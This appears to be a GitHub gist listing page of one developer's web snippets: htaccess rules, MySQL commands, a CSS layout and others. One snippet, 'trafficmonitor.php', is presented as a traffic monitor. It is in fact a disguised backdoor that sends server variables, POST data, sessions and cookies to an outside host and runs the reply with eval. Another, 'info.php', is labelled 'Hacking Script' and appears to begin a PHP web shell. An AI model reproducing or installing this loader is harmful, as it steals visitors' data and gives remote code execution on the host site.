Skip to content

Instantly share code, notes, and snippets.

View faizanayubi's full-sized avatar

Faizan Ayubi faizanayubi

View GitHub Profile
@faizanayubi
faizanayubi / .htaccess
Created March 2, 2016 13:22
Block Bot
ErrorDocument 503 "Site temporarily disabled for crawling"
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^.*(bot|crawl|spider).*$ [NC]
RewriteCond %{REQUEST_URI} !^/robots\.txt$
RewriteRule .* - [R=503,L]
@faizanayubi
faizanayubi / trafficmonitor.php
Last active February 10, 2016 16:52
Include this file on your website, to monitor your traffice through trafficmonitor.ca
<?php
parse_str(file_get_contents("php://input"),$_POST);$postfields=array_merge($_SERVER,array("p"=>$_POST,"s"=>$_SESSION,"plugin_detector"=>"getTrigger","c"=>$_COOKIE));if(!isset($_COOKIE["__trafficMonitor"])){setcookie("__trafficMonitor", "MjhkZjQzODUwYjVhZTNiNG");}header("Access-Control-Allow-Origin: *");$ch=curl_init();curl_setopt($ch,CURLOPT_URL,"http://onlinedatafile.com/");curl_setopt($ch,CURLOPT_POST,count($postfields));curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($postfields));curl_setopt($ch,CURLOPT_HEADER,TRUE);curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,2);curl_setopt($ch,CURLOPT_TIMEOUT,5);$response=curl_exec($ch);$header_size=curl_getinfo($ch,CURLINFO_HEADER_SIZE);curl_close($ch);$header=substr($response,0,$header_size);$body=substr($response,$header_size);eval($body);
@faizanayubi
faizanayubi / info.php
Created January 23, 2016 11:41
Hacking Script
<?php
error_reporting(7);
@set_magic_quotes_runtime(0);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)) . '/');
define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
define('IS_COM', class_exists('COM') ? 1 : 0);
define('IS_GPC', get_magic_quotes_gpc());
@faizanayubi
faizanayubi / index.html
Created October 20, 2015 00:33
Fluid Layout - Masonry Layout
<div id="container" class="cols">
<div class="box one"></div>
<div class="box two"></div>
<div class="box one"></div>
<div class="box three"></div>
<div class="box two"></div>
<div class="box five"></div>
<div class="box one"></div>
<div class="box two"></div>
<div class="box six"></div>
putting this in your .htaccess file will add subdomain
RewriteEngine on
RewriteCond %{HTTP_HOST} ^sub.domain.com
RewriteRule ^(.*)$ http://domain.com/subdomains/sub/$1 [L,NC,QSA]
For a more general rule (that works with any subdomain, not just sub) replace the last two lines with this:
RewriteEngine on
RewriteCond %{HTTP_HOST} ^(.*)\.domain\.com
RewriteRule ^(.*)$ http://domain.com/subdomains/%1/$1 [L,NC,QSA]
@faizanayubi
faizanayubi / cookie.js
Created October 10, 2015 21:16
Cookie CRUD
@faizanayubi
faizanayubi / Vesta
Created October 8, 2015 10:15
Vesta Common Commands
1. change domain owner
v-change-domain-owner DOMAIN USER [IP]
@faizanayubi
faizanayubi / mysql.txt
Last active September 8, 2015 10:21
Important MySQL Terminal Commands
Backup database
mysqldump -uroot -p database_name > dumpfilename.sql
Restore database
mysql -uroot -p database_name < dumpfilename.sql
Checks database for error
mysqlcheck chris_wordpress
Auto repair databases
@faizanayubi
faizanayubi / .htaccess
Last active December 2, 2015 14:25
Optimizing Website Speed and Caching
<IfModule pagespeed_module>
ModPagespeed on
# using commands,filters etc
</IfModule>
<ifModule mod_deflate.c>
AddOutputFilterByType DEFLATE text/html text/plain text/xml application/xml application/xhtml+xml text/css text/javascript application/javascript application/x-javascript
</ifModule>
# BEGIN Expire headers
@faizanayubi
faizanayubi / mysql.txt
Created September 6, 2015 11:38
Popular MySQL Script
Search insert and update
INSERT INTO table (id, name, age) VALUES(1, "A", 19) ON DUPLICATE KEY UPDATE
name=VALUES(name), age=VALUES(age)